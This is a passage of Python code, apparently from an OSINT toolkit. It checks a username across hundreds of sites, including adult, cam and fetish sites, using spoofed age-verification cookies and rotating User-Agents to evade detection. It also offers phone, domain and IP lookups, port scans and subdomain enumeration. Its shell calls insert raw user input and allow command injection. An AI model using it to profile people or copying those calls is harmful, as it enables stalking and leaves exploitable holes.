'total posts', 'reputation', 'karma', 'cake day', + # Action buttons (only appear on real profiles) + 'send message', 'private message', 'follow user', + 'add friend', 'block user', 'report user', + # Verified indicators + 'verified account', 'verified user', + ] + + # Site-specific detection patterns (like cupidcr4wl's data) + # Format: domain -> {check_text: [...], not_found_text: [...]} + SITE_PATTERNS = { + # Social Media + 'reddit.com': { + 'check_text': ['karma', 'cake day', 'trophy-case'], + 'not_found_text': ['sorry, nobody on reddit goes by that name', 'page not found'], + }, + 'twitter.com': { + 'check_text': ['followers', 'following', 'data-testid="UserName"'], + 'not_found_text': ['this account doesn\'t exist', 'account suspended'], + }, + 'x.com': { + 'check_text': ['followers', 'following', 'data-testid="UserName"'], + 'not_found_text': ['this account doesn\'t exist', 'account suspended'], + }, + 'instagram.com': { + 'check_text': ['followers', 'following', 'edge_owner_to_timeline_media'], + 'not_found_text': ['sorry, this page isn\'t available'], + }, + 'tiktok.com': { + 'check_text': ['followers', 'following', 'likes'], + 'not_found_text': ['couldn\'t find this account'], + }, + 'github.com': { + 'check_text': ['contributions', 'repositories', 'gist-summary'], + 'not_found_text': ['not found'], + }, + 'youtube.com': { + 'check_text': ['subscribers', 'channel-header'], + 'not_found_text': ['this page isn\'t available'], + }, + # Forums + 'forums.': { + 'check_text': ['member since', 'posts:', 'joined:', 'post count'], + 'not_found_text': ['member not found', 'no user', 'user doesn\'t exist'], + }, + # Adult/Cam sites + 'chaturbate.com': { + 'check_text': ['broadcaster_gender', 'room_status', 'bio', 'following'], + 'not_found_text': ['http 404', 'page not found', 'bio page not available'], + }, + 'onlyfans.com': { + 'check_text': ['subscribersCount', '@'], + 'not_found_text': ['sorry, this page is not available'], + }, + 'fansly.com': { + 'check_text': ['followers', 'subscribersCount'], + 'not_found_text': ['not found'], + }, + 'pornhub.com': { + 'check_text': ['subscribers', 'video views', 'profile-info'], + 'not_found_text': ['page not found', '404'], + }, + 'xvideos.com': { + 'check_text': ['subscribers', 'video views'], + 'not_found_text': ['not found'], + }, + 'stripchat.com': { + 'check_text': ['followers', 'bio'], + 'not_found_text': ['not found', 'model not found'], + }, + # Art/Creative + 'deviantart.com': { + 'check_text': ['watchers', 'deviations', 'gallery'], + 'not_found_text': ['this deviant doesn\'t exist'], + }, + 'artstation.com': { + 'check_text': ['followers', 'following', 'likes'], + 'not_found_text': ['not found'], + }, + 'furaffinity.net': { + 'check_text': ['submissions', 'favorites', 'watchers'], + 'not_found_text': ['user not found', 'the user you specified could not be found'], + }, + 'e621.net': { + 'check_text': ['favorites', 'uploads'], + 'not_found_text': ['not found'], + }, + # Gaming + 'twitch.tv': { + 'check_text': ['followers', 'channel-header'], + 'not_found_text': ['sorry, unless you\'ve got a time machine'], + }, + 'steam': { + 'check_text': ['recent activity', 'level'], + 'not_found_text': ['specified profile could not be found'], + }, + # Dating + 'fetlife.com': { + 'check_text': ['role:', 'orientation:', 'looking for:'], + 'not_found_text': ['user not found', 'the page you requested'], + }, + } + + # Tracker/aggregator sites to deprioritize (not the real site) + TRACKER_DOMAINS = [ + 'tracker', 'stats', 'lookup', 'checker', 'finder', 'search', + 'viewer', 'imginn', 'picuki', 'dumpor', 'smihub', 'tumbral', + 'gramho', 'pixwox', 'instastories', 'storiesig', 'insta', + 'webstagram', 'vibbi', 'picbear', 'sometag', 'mulpix', + ] + + # Common false positive URLs to skip + FALSE_POSITIVE_URLS = [ + '/login', '/signin', '/signup', '/register', '/join', + '/404', '/error', '/not-found', '/notfound', + '/search', '/home', '/index', '/welcome', + ] + + # Site-specific cookies for age verification and consent + SITE_COOKIES = { + 'chaturbate.com': 'agreeterms=1; age_verified=1', + 'stripchat.com': 'age_confirmed=true', + 'bongacams.com': 'bonga_age=true', + 'cam4.com': 'age_checked=true', + 'myfreecams.com': 'mfc_age_check=1', + 'camsoda.com': 'age_verified=1', + 'livejasmin.com': 'age_gate=true', + 'pornhub.com': 'age_verified=1; accessAgeDisclaimerPH=1', + 'xvideos.com': 'age_verified=1', + 'xhamster.com': 'age_check=1', + 'xnxx.com': 'age_verified=1', + 'redtube.com': 'age_verified=1', + 'youporn.com': 'age_verified=1', + 'spankbang.com': 'age_verified=1', + 'eporner.com': 'age_verified=1', + 'fapster.xxx': 'age_verified=1', + 'rule34.xxx': 'age_gate=1', + 'e621.net': 'age_check=1', + 'furaffinity.net': 'sfw=0', + 'inkbunny.net': 'age_check=1', + 'hentai-foundry.com': 'age_check=1', + 'f95zone.to': 'xf_logged_in=1', + 'imgsrc.ru': 'lang=en; over18=1', + 'fansly.com': 'age_verified=1', + 'onlyfans.com': 'age_verified=1', + 'fetlife.com': 'age_check=1', + } + + # Random User-Agent rotation to avoid detection + USER_AGENTS = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + ] + + @staticmethod + def validate_username(username: str) -> Tuple[bool, str]: + """Validate username before searching (like Snoop). + + Returns: + Tuple of (is_valid, error_message) + """ + if not username: + return False, "Username cannot be empty" + + if len(username) < 2: + return False, "Username too short (minimum 2 characters)" + + if len(username) > 100: + return False, "Username too long (maximum 100 characters)" + + # Check for obviously invalid characters + invalid_chars = set('<>{}[]|\\^~`') + if any(c in username for c in invalid_chars): + return False, f"Username contains invalid characters: {invalid_chars}" + + # If it looks like an email, extract the username part + if '@' in username and '.' in username.split('@')[-1]: + return True, "email" # Signal this is an email + + return True, "ok" + + def _get_site_patterns(self, domain: str) -> Optional[Dict]: + """Get site-specific detection patterns for a domain.""" + domain_lower = domain.lower() + for pattern_domain, patterns in self.SITE_PATTERNS.items(): + if pattern_domain in domain_lower: + return patterns + return None + + def _check_site(self, site: Dict, username: str, retry: int = 0) -> Optional[Dict]: + """Check if username exists on a site using CupidCr4wl-style detection. + + Detection logic (following CupidCr4wl pattern): + 1. If status 200 + error_string found → NOT FOUND (return None) + 2. If status 200 + match_string found → FOUND (green) + 3. If status 200 + neither matched → POSSIBLE (yellow) + 4. If status == error_code → NOT FOUND (return None) + 5. Response URL redirect detection for response_url/redirection types + """ + try: + # Random delay to avoid rate limiting (like Snoop) + time.sleep(randint(10, 100) / 1000) + + url = site['url'].replace('{}', username) + + # Build request with rotating User-Agent + # NOTE: Don't request gzip encoding - urllib doesn't auto-decompress it + headers = { + 'User-Agent': self.USER_AGENTS[randint(0, len(self.USER_AGENTS) - 1)], + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Language': 'en-US,en;q=0.9', + 'Connection': 'keep-alive', + 'Upgrade-Insecure-Requests': '1', + } + if site.get('headers'): + headers.update(site['headers']) + + # Add site-specific cookies for age verification + parsed_url = urlparse(url) + domain = parsed_url.netloc.lower() + for cookie_domain, cookies in self.SITE_COOKIES.items(): + if cookie_domain in domain: + headers['Cookie'] = cookies + break + + req = urllib.request.Request(url, headers=headers) + + # Get detection info from database + error_type = site.get('error_type', 'status_code') + error_code = site.get('error_code') + error_string = site.get('error_string', '').strip() if site.get('error_string') else None + match_code = site.get('match_code') + match_string = site.get('match_string', '').strip() if site.get('match_string') else None + + # Get site-specific patterns + site_patterns = self._get_site_patterns(domain) + + try: + with urllib.request.urlopen(req, timeout=self.scan_config['timeout']) as response: + status_code = response.getcode() + final_url = response.geturl() + resp_headers = {k.lower(): v.lower() for k, v in response.headers.items()} + + raw_content = response.read() + try: + content = raw_content.decode('utf-8', errors='ignore') + except: + content = raw_content.decode('latin-1', errors='ignore') + + content_lower = content.lower() + content_len = len(content) + + # === WAF/Captcha Detection === + is_filtered = False + + # Extract title for analysis + title = '' + title_match = re.search(r']*>([^<]+)', content, re.IGNORECASE) + if title_match: + title = title_match.group(1).strip() + + # Check for Cloudflare challenge page (not just Cloudflare-served sites) + cf_challenge_patterns = [ + 'just a moment', 'checking your browser', 'please wait', + 'ray id', 'cf-browser-verification', 'cf_chl_opt', + 'enable javascript and cookies', 'why do i have to complete a captcha', + ] + if any(p in content_lower for p in cf_challenge_patterns): + is_filtered = True + + # Check for actual WAF block patterns in content + if self.WAF_PATTERNS.search(content): + # Only flag if it's a short page (likely error/block page) + if content_len < 5000: + is_filtered = True + + # Check title for WAF patterns (challenge pages have distinctive titles) + if title and self.WAF_TITLE_PATTERNS.search(title): + # "Just a moment..." is Cloudflare challenge + if 'moment' in title.lower() or 'attention' in title.lower() or 'blocked' in title.lower(): + is_filtered = True + + if is_filtered: + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'status': 'filtered', + 'rate': '0%', + 'title': 'filtered', + } + + # === CupidCr4wl-Style Detection System === + username_lower = username.lower() + + # Collect all not_found and check texts + not_found_texts = [] + check_texts = [] + + # 1. Add database patterns + if error_string: + not_found_texts.append(error_string.lower()) + if match_string: + # Handle {username} placeholder + check_texts.append( + match_string.replace('{username}', username) + .replace('{account}', username).lower() + ) + + # 2. Add site-specific patterns + if site_patterns: + not_found_texts.extend([s.lower() for s in site_patterns.get('not_found_text', [])]) + check_texts.extend([s.lower() for s in site_patterns.get('check_text', [])]) + + # 3. Detection based on error_type + # --- Status code detection --- + if error_type == 'status_code': + if error_code and status_code == error_code: + return None # Expected "not found" status code + if status_code >= 400: + return None # Error status + + # --- Response URL / Redirect detection --- + if error_type in ('response_url', 'redirection'): + # Check if redirected away from profile page + if final_url != url and username_lower not in final_url.lower(): + # Check if redirected to login/error page + final_lower = final_url.lower() + if any(fp in final_lower for fp in self.FALSE_POSITIVE_URLS): + return None + # Redirected to different page - likely not found + if domain not in final_lower: + return None + + # === Pattern Matching (CupidCr4wl style) === + not_found_matched = [] + check_matched = [] + + # Check not_found_texts + for nf_text in not_found_texts: + if nf_text and nf_text in content_lower: + not_found_matched.append(nf_text) + + # Check check_texts + for c_text in check_texts: + if c_text and c_text in content_lower: + check_matched.append(c_text) + + # Fallback: check generic NOT_FOUND_STRINGS if no specific patterns + if not not_found_texts: + for nf_string in self.NOT_FOUND_STRINGS: + if nf_string.lower() in content_lower: + not_found_matched.append(nf_string) + break # One is enough + + # Fallback: check generic FOUND_STRINGS if no specific patterns + if not check_texts: + for f_string in self.FOUND_STRINGS: + check_str = f_string.replace('{username}', username_lower).lower() + if check_str in content_lower: + check_matched.append(f_string) + + # === Determine Result (CupidCr4wl logic) === + # Priority: not_found_text match beats everything + if not_found_matched: + # Not found text was found - user doesn't exist + return None + + # Username presence check + username_in_content = username_lower in content_lower + username_in_title = username_lower in title.lower() if title else False + + # Calculate confidence + found_indicators = len(check_matched) + if username_in_content: + found_indicators += 1 + if username_in_title: + found_indicators += 1 + + # Determine status + if check_matched and (username_in_content or username_in_title): + # check_text matched AND username found → FOUND (green) + status = 'good' + rate = min(100, 60 + (found_indicators * 10)) + elif check_matched: + # check_text matched but username not explicitly found → POSSIBLE (yellow) + status = 'maybe' + rate = 50 + (found_indicators * 10) + elif username_in_content and status_code == 200: + # No patterns matched but username in content with 200 → POSSIBLE + status = 'maybe' + rate = 40 + (found_indicators * 5) + elif status_code == 200 and content_len > 1000: + # Got 200 with substantial content but no matches → LOW confidence + status = 'maybe' + rate = 30 + else: + # Nothing matched + return None + + # === Additional Validation === + + # Very short pages are usually error pages + if content_len < 500 and not check_matched: + if not username_in_content: + return None + + # Check for tracker sites + url_lower = url.lower() + is_tracker = any(t in url_lower for t in self.TRACKER_DOMAINS) + + # Minimum threshold + if rate < 30: + return None + + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'rate': f'{rate}%', + 'status': status, + 'title': title[:100] if title else '', + 'is_tracker': is_tracker, + 'check_matched': len(check_matched), + 'not_found_matched': len(not_found_matched), + 'error_type': error_type, + 'has_pattern': bool(error_string or match_string or site_patterns), + } + + except urllib.error.HTTPError as e: + # Handle HTTP errors using database patterns + if error_code and e.code == error_code: + # Expected "not found" code from database + return None + if e.code == 404: + return None + if e.code in [403, 401]: + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'status': 'restricted', + 'rate': '?', + } + # Retry on 5xx errors + if e.code >= 500 and retry < 2: + time.sleep(1) + return self._check_site(site, username, retry + 1) + return None + + except urllib.error.URLError as e: + # Retry on connection errors + if retry < 2: + time.sleep(1) + return self._check_site(site, username, retry + 1) + return None + + except Exception: + return None + + except Exception: + return None + + return None + + def username_lookup(self): + """Username OSINT across platforms using sites database.""" + print(f"\n{Colors.BOLD}Username OSINT{Colors.RESET}") + + # Show database stats + db_stats = self.sites_db.get_stats() + print(f"{Colors.DIM}Database: {db_stats['total_sites']} sites available{Colors.RESET}\n") + + username = input(f"{Colors.WHITE}Enter username: {Colors.RESET}").strip() + if not username: + return + + # Validate username + is_valid, validation_msg = self.validate_username(username) + if not is_valid: + self.print_status(validation_msg, "error") + return + + # If it's an email, ask if they want to extract username + if validation_msg == "email": + email_username = username.split('@')[0] + use_email_user = input(f"{Colors.WHITE}Detected email. Use '{email_username}' as username? (y/n): {Colors.RESET}").strip().lower() + if use_email_user == 'y': + username = email_username + print(f"{Colors.CYAN}[*] Using username: {username}{Colors.RESET}") + + # Scan type selection + print(f"\n{Colors.CYAN}Scan Type:{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Quick scan (top 100 sites)") + print(f" {Colors.GREEN}[2]{Colors.RESET} Standard scan (500 sites)") + print(f" {Colors.GREEN}[3]{Colors.RESET} Full scan (all {db_stats['enabled_sites']} sites)") + print(f" {Colors.GREEN}[4]{Colors.RESET} Custom scan (by category)") + + scan_choice = input(f"\n{Colors.WHITE}Select [1-4]: {Colors.RESET}").strip() + + max_sites = 100 + categories = None + # Use config setting as default + osint_settings = self.config.get_osint_settings() + include_nsfw = osint_settings['include_nsfw'] + + if scan_choice == '2': + max_sites = 500 + elif scan_choice == '3': + max_sites = 99999 # All sites + elif scan_choice == '4': + # Category selection + cats = self.sites_db.get_categories() + print(f"\n{Colors.CYAN}Available Categories:{Colors.RESET}") + for i, (cat, count) in enumerate(cats, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {cat} ({count} sites)") + + cat_input = input(f"\n{Colors.WHITE}Enter category numbers (comma-separated): {Colors.RESET}").strip() + try: + indices = [int(x.strip()) - 1 for x in cat_input.split(',')] + categories = [cats[i][0] for i in indices if 0 <= i < len(cats)] + except: + categories = None + max_sites = 99999 + + # NSFW option (default from config) + if db_stats['nsfw_sites'] > 0: + default_nsfw = 'y' if include_nsfw else 'n' + nsfw_choice = input(f"{Colors.WHITE}Include NSFW sites? (y/n) [{Colors.GREEN if include_nsfw else Colors.DIM}{default_nsfw}{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if nsfw_choice: # Only change if user provided input + include_nsfw = nsfw_choice == 'y' + + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Target Username: {username}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + # Get sites from database + sites = self.sites_db.get_sites_for_scan( + categories=categories, + include_nsfw=include_nsfw, + max_sites=max_sites + ) + + total_sites = len(sites) + est_time = (total_sites * self.scan_config['timeout']) // self.scan_config['threads'] // 60 + print(f"{Colors.CYAN}[*] Scanning {total_sites} sites with {self.scan_config['threads']} threads...{Colors.RESET}") + print(f"{Colors.DIM} (Estimated time: {est_time}-{est_time*2} minutes for full scan){Colors.RESET}\n") + + found = [] + checked = 0 + errors = 0 + scan_start = time.time() + + # Multi-threaded scanning + try: + with concurrent.futures.ThreadPoolExecutor(max_workers=self.scan_config['threads']) as executor: + future_to_site = {executor.submit(self._check_site, site, username): site for site in sites} + + for future in concurrent.futures.as_completed(future_to_site): + site = future_to_site[future] + checked += 1 + + # Show current site being checked (verbose) + print(f"\r{Colors.DIM} [{checked}/{total_sites}] Checking: {site['name'][:30]:30}{Colors.RESET}", end='', flush=True) + + try: + result = future.result() + + if result: + found.append(result) + status = result.get('status', '') + rate = result.get('rate', '0%') + is_tracker = result.get('is_tracker', False) + + # Clear the checking line and display result + print(f"\r{' ' * 60}\r", end='') + + # Display based on status (social-analyzer style) + if status == 'filtered': + pass # Don't show filtered/WAF blocked + elif status == 'restricted': + pass # Don't show restricted in real-time, summarize later + elif status == 'good': + marker = f"{Colors.DIM}[tracker]{Colors.RESET} " if is_tracker else "" + print(f" {Colors.GREEN}[+]{Colors.RESET} {result['name']:25} {marker}{result['url']} {Colors.GREEN}[{rate}]{Colors.RESET}") + elif status == 'maybe' and not is_tracker: + print(f" {Colors.YELLOW}[?]{Colors.RESET} {result['name']:25} {result['url']} {Colors.YELLOW}[{rate}]{Colors.RESET}") + # 'bad' status not shown in real-time + except Exception as e: + errors += 1 + + # Progress indicator every 100 sites + if checked % 100 == 0: + print(f"\r{' ' * 60}\r{Colors.DIM} ... progress: {checked}/{total_sites} sites checked, {len(found)} found{Colors.RESET}") + + # Clear the last checking line + print(f"\r{' ' * 60}\r", end='') + + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}[!] Scan interrupted by user{Colors.RESET}") + + # Summary + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Results Summary{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f" Sites in scan: {total_sites}") + print(f" Sites checked: {checked}") + print(f" Profiles found: {Colors.GREEN}{len(found)}{Colors.RESET}") + if errors > 0: + print(f" Errors: {Colors.YELLOW}{errors}{Colors.RESET}") + + if found: + # Categorize results (social-analyzer style: good/maybe/bad) + good = [f for f in found if f.get('status') == 'good'] + maybe = [f for f in found if f.get('status') == 'maybe'] + bad = [f for f in found if f.get('status') == 'bad'] + restricted = [f for f in found if f.get('status') == 'restricted'] + filtered = [f for f in found if f.get('status') == 'filtered'] + + # Separate trackers from real sites + good_real = [f for f in good if not f.get('is_tracker')] + good_trackers = [f for f in good if f.get('is_tracker')] + maybe_real = [f for f in maybe if not f.get('is_tracker')] + + # Count pattern-based detections + pattern_based = [f for f in found if f.get('has_pattern')] + generic_based = [f for f in found if not f.get('has_pattern')] + + print(f"\n{Colors.CYAN}Results Breakdown:{Colors.RESET}") + print(f" {Colors.GREEN}Detected (good):{Colors.RESET} {len(good_real)}") + print(f" {Colors.YELLOW}Unknown (maybe):{Colors.RESET} {len(maybe_real)}") + print(f" {Colors.DIM}Bad (low rate):{Colors.RESET} {len(bad)}") + print(f" {Colors.DIM}Restricted (403):{Colors.RESET} {len(restricted)}") + print(f" {Colors.DIM}Filtered (WAF):{Colors.RESET} {len(filtered)}") + print(f" {Colors.DIM}Tracker sites:{Colors.RESET} {len(good_trackers)}") + + print(f"\n{Colors.CYAN}Detection Method:{Colors.RESET}") + print(f" {Colors.GREEN}Pattern-based:{Colors.RESET} {len(pattern_based)} (from database)") + print(f" {Colors.DIM}Generic fallback:{Colors.RESET} {len(generic_based)}") + + # Group detected by category + by_cat = {} + for f in good_real: + cat = f.get('category', 'other') + if cat not in by_cat: + by_cat[cat] = [] + by_cat[cat].append(f) + + if by_cat: + print(f"\n{Colors.CYAN}Detected by Category:{Colors.RESET}") + for cat, items in sorted(by_cat.items(), key=lambda x: -len(x[1])): + print(f" {cat}: {len(items)}") + + # Show detected profiles (good status) + if good_real: + print(f"\n{Colors.GREEN}{'─' * 40}{Colors.RESET}") + print(f"{Colors.GREEN}Detected Profiles:{Colors.RESET}") + print(f"{Colors.GREEN}{'─' * 40}{Colors.RESET}") + for r in sorted(good_real, key=lambda x: x['name'].lower())[:20]: + print(f" [{r.get('rate', '?')}] {r['name']}: {r['url']}") + + # Show unknown profiles (maybe status) + if maybe_real: + print(f"\n{Colors.YELLOW}{'─' * 40}{Colors.RESET}") + print(f"{Colors.YELLOW}Unknown (may exist):{Colors.RESET}") + print(f"{Colors.YELLOW}{'─' * 40}{Colors.RESET}") + for r in sorted(maybe_real, key=lambda x: x['name'].lower())[:15]: + print(f" [{r.get('rate', '?')}] {r['name']}: {r['url']}") + + # Option to show restricted + if restricted: + show_restricted = input(f"\n{Colors.WHITE}Show {len(restricted)} restricted results? (y/n): {Colors.RESET}").strip().lower() + if show_restricted == 'y': + print(f"\n{Colors.YELLOW}Restricted (may exist, access denied):{Colors.RESET}") + for r in restricted[:30]: + print(f" [?] {r['name']}: {r['url']}") + + # Save option + save = input(f"\n{Colors.WHITE}Save results? [{Colors.GREEN}1{Colors.WHITE}] JSON [{Colors.GREEN}2{Colors.WHITE}] HTML [{Colors.GREEN}3{Colors.WHITE}] Both [{Colors.RED}n{Colors.WHITE}] No: {Colors.RESET}").strip().lower() + if save in ['1', '2', '3']: + if save in ['1', '3']: + filename = f"{username}_profiles.json" + with open(filename, 'w') as f: + json.dump({'username': username, 'found': found, 'total_checked': checked}, f, indent=2) + self.print_status(f"Saved JSON to {filename}", "success") + + if save in ['2', '3']: + # Generate HTML report + reporter = get_report_generator() + scan_time = time.time() - scan_start + report_path = reporter.generate_username_report( + username=username, + results=found, + total_checked=checked, + scan_time=scan_time + ) + self.print_status(f"Saved HTML report to {report_path}", "success") + + def social_analyzer_search(self, username: str): + """Run social-analyzer on a username.""" + if not self.social_analyzer_available: + self.print_status("social-analyzer not installed. Install with: pip install social-analyzer", "warning") + return + + print(f"\n{Colors.CYAN}Running social-analyzer...{Colors.RESET}") + print(f"{Colors.DIM}This may take a few minutes...{Colors.RESET}\n") + + # Run social-analyzer + cmd = f"social-analyzer --username '{username}' --metadata --output json 2>/dev/null" + success, output = self.run_cmd(cmd, timeout=300) + + if success and output: + try: + results = json.loads(output) + detected = results.get('detected', []) + + if detected: + print(f"{Colors.GREEN}Found {len(detected)} profiles:{Colors.RESET}\n") + for profile in detected[:20]: + site = profile.get('site', 'Unknown') + link = profile.get('link', '') + print(f" {Colors.GREEN}+{Colors.RESET} {site:20} {link}") + else: + print(f"{Colors.YELLOW}No profiles detected{Colors.RESET}") + except json.JSONDecodeError: + print(output) # Show raw output + else: + self.print_status("social-analyzer scan completed (check for results)", "info") + + # ==================== PHONE OSINT ==================== + + def phone_lookup(self): + """Phone number OSINT.""" + print(f"\n{Colors.BOLD}Phone Number OSINT{Colors.RESET}") + print(f"{Colors.DIM}Enter with country code (e.g., +1234567890){Colors.RESET}\n") + + phone = input(f"{Colors.WHITE}Enter phone number: {Colors.RESET}").strip() + + if not phone: + return + + # Clean phone number + phone_clean = re.sub(r'[^\d+]', '', phone) + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {phone_clean}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Parse phone number + print(f"{Colors.CYAN}Number Analysis:{Colors.RESET}") + + # Country code detection + country_codes = { + '+1': 'USA/Canada', '+44': 'UK', '+49': 'Germany', '+33': 'France', + '+81': 'Japan', '+86': 'China', '+91': 'India', '+7': 'Russia', + '+61': 'Australia', '+55': 'Brazil', '+34': 'Spain', '+39': 'Italy' + } + + country = 'Unknown' + for code, name in country_codes.items(): + if phone_clean.startswith(code): + country = name + break + + print(f" Country: {country}") + print(f" Format: {phone_clean}") + + # Carrier lookup resources + print(f"\n{Colors.CYAN}Carrier Lookup:{Colors.RESET}") + print(f" NumVerify: https://numverify.com/") + print(f" Twilio: https://www.twilio.com/lookup") + + # Search resources + print(f"\n{Colors.CYAN}Search Resources:{Colors.RESET}") + print(f" TrueCaller: https://www.truecaller.com/search/{quote(phone_clean)}") + print(f" Sync.me: https://sync.me/search/?number={quote(phone_clean)}") + print(f" SpyDialer: https://www.spydialer.com/") + print(f" WhitePages: https://www.whitepages.com/phone/{quote(phone_clean)}") + print(f" Google: https://www.google.com/search?q=\"{quote(phone_clean)}\"") + + # Messaging apps check + print(f"\n{Colors.CYAN}Messaging Apps (manual check):{Colors.RESET}") + print(f" - WhatsApp: Add to contacts and check profile") + print(f" - Telegram: Search by phone number") + print(f" - Signal: Check if registered") + + # CallerID spam check + print(f"\n{Colors.CYAN}Spam/Scam Check:{Colors.RESET}") + print(f" https://www.shouldianswer.com/phone-number/{phone_clean.replace('+', '')}") + + # ==================== DOMAIN/IP (from original) ==================== + + def domain_info(self): + """Gather domain information.""" + print(f"\n{Colors.BOLD}Domain Reconnaissance{Colors.RESET}") + domain = input(f"{Colors.WHITE}Enter domain: {Colors.RESET}").strip() + + if not domain: + return + + if '://' in domain: + domain = urlparse(domain).netloc + domain = domain.split('/')[0] + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {domain}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # DNS Resolution + print(f"{Colors.CYAN}DNS Records:{Colors.RESET}") + try: + ip = socket.gethostbyname(domain) + print(f" A Record: {ip}") + except: + print(f" A Record: {Colors.RED}Not found{Colors.RESET}") + + for record_type in ['MX', 'NS', 'TXT']: + success, output = self.run_cmd(f"dig +short {record_type} {domain} 2>/dev/null") + if success and output: + records = output.split('\n')[:3] + print(f" {record_type} Record: {records[0]}") + + # WHOIS + print(f"\n{Colors.CYAN}WHOIS Information:{Colors.RESET}") + success, output = self.run_cmd(f"whois {domain} 2>/dev/null") + if success and output: + important = ['Registrar:', 'Creation Date:', 'Expiration Date:', 'Name Server:', 'Organization:'] + for line in output.split('\n'): + for key in important: + if key.lower() in line.lower(): + print(f" {line.strip()}") + break + + # Subdomains + print(f"\n{Colors.CYAN}Subdomains (via crt.sh):{Colors.RESET}") + success, output = self.run_cmd(f"curl -s 'https://crt.sh/?q=%.{domain}&output=json' 2>/dev/null | head -5000") + if success and output: + try: + certs = json.loads(output) + subdomains = set() + for cert in certs: + name = cert.get('name_value', '') + for sub in name.split('\n'): + if sub and '*' not in sub: + subdomains.add(sub) + + for sub in sorted(subdomains)[:15]: + print(f" {sub}") + if len(subdomains) > 15: + print(f" {Colors.DIM}... and {len(subdomains) - 15} more{Colors.RESET}") + except: + pass + + def ip_info(self): + """Gather IP address information.""" + print(f"\n{Colors.BOLD}IP Address Reconnaissance{Colors.RESET}") + ip = input(f"{Colors.WHITE}Enter IP address: {Colors.RESET}").strip() + + if not ip: + return + + try: + socket.inet_aton(ip) + except: + self.print_status("Invalid IP address", "error") + return + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {ip}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Reverse DNS + print(f"{Colors.CYAN}Reverse DNS:{Colors.RESET}") + try: + hostname = socket.gethostbyaddr(ip)[0] + print(f" Hostname: {hostname}") + except: + print(f" Hostname: {Colors.DIM}Not found{Colors.RESET}") + + # GeoIP + print(f"\n{Colors.CYAN}Geolocation:{Colors.RESET}") + success, output = self.run_cmd(f"curl -s 'http://ip-api.com/json/{ip}' 2>/dev/null") + if success and output: + try: + data = json.loads(output) + print(f" Country: {data.get('country', 'Unknown')}") + print(f" Region: {data.get('regionName', 'Unknown')}") + print(f" City: {data.get('city', 'Unknown')}") + print(f" ISP: {data.get('isp', 'Unknown')}") + print(f" Org: {data.get('org', 'Unknown')}") + except: + pass + + # Quick port scan + print(f"\n{Colors.CYAN}Quick Port Scan:{Colors.RESET}") + common_ports = [21, 22, 23, 25, 80, 443, 445, 3306, 3389, 8080] + for port in common_ports: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(0.5) + if sock.connect_ex((ip, port)) == 0: + print(f" {port}/tcp open") + sock.close() + + def subdomain_enum(self): + """Enumerate subdomains.""" + print(f"\n{Colors.BOLD}Subdomain Enumeration{Colors.RESET}") + domain = input(f"{Colors.WHITE}Enter domain: {Colors.RESET}").strip() + + if not domain: + return + + if '://' in domain: + domain = urlparse(domain).netloc + + print(f"\n{Colors.CYAN}Enumerating subdomains for {domain}...{Colors.RESET}\n") + + subdomains = set() + + # Certificate Transparency + self.print_status("Checking certificate transparency logs...", "info") + success, output = self.run_cmd(f"curl -s 'https://crt.sh/?q=%.{domain}&output=json' 2>/dev/null") + if success and output: + try: + certs = json.loads(output) + for cert in certs: + name = cert.get('name_value', '') + for sub in name.split('\n'): + if sub and '*' not in sub and domain in sub: + subdomains.add(sub.strip()) + except: + pass + + # Common subdomains + self.print_status("Checking common subdomains...", "info") + common_subs = [ + 'www', 'mail', 'ftp', 'webmail', 'smtp', 'pop', 'ns1', 'ns2', + 'vpn', 'api', 'dev', 'staging', 'test', 'blog', 'shop', 'admin', + 'portal', 'secure', 'app', 'mobile', 'cdn', 'static', 'assets' + ] + + for sub in common_subs: + fqdn = f"{sub}.{domain}" + try: + socket.gethostbyname(fqdn) + subdomains.add(fqdn) + except: + pass + + print(f"\n{Colors.GREEN}Found {len(subdomains)} subdomains:{Colors.RESET}\n") + for sub in sorted(subdomains): + try: + ip = socket.gethostbyname(sub) + print(f" {sub:40} -> {ip}") + except: + print(f" {sub}") + + def tech_detect(self): + """Detect technologies on a website.""" + print(f"\n{Colors.BOLD}Technology Detection{Colors.RESET}") + url = input(f"{Colors.WHITE}Enter URL: {Colors.RESET}").strip() + + if not url: + return + + 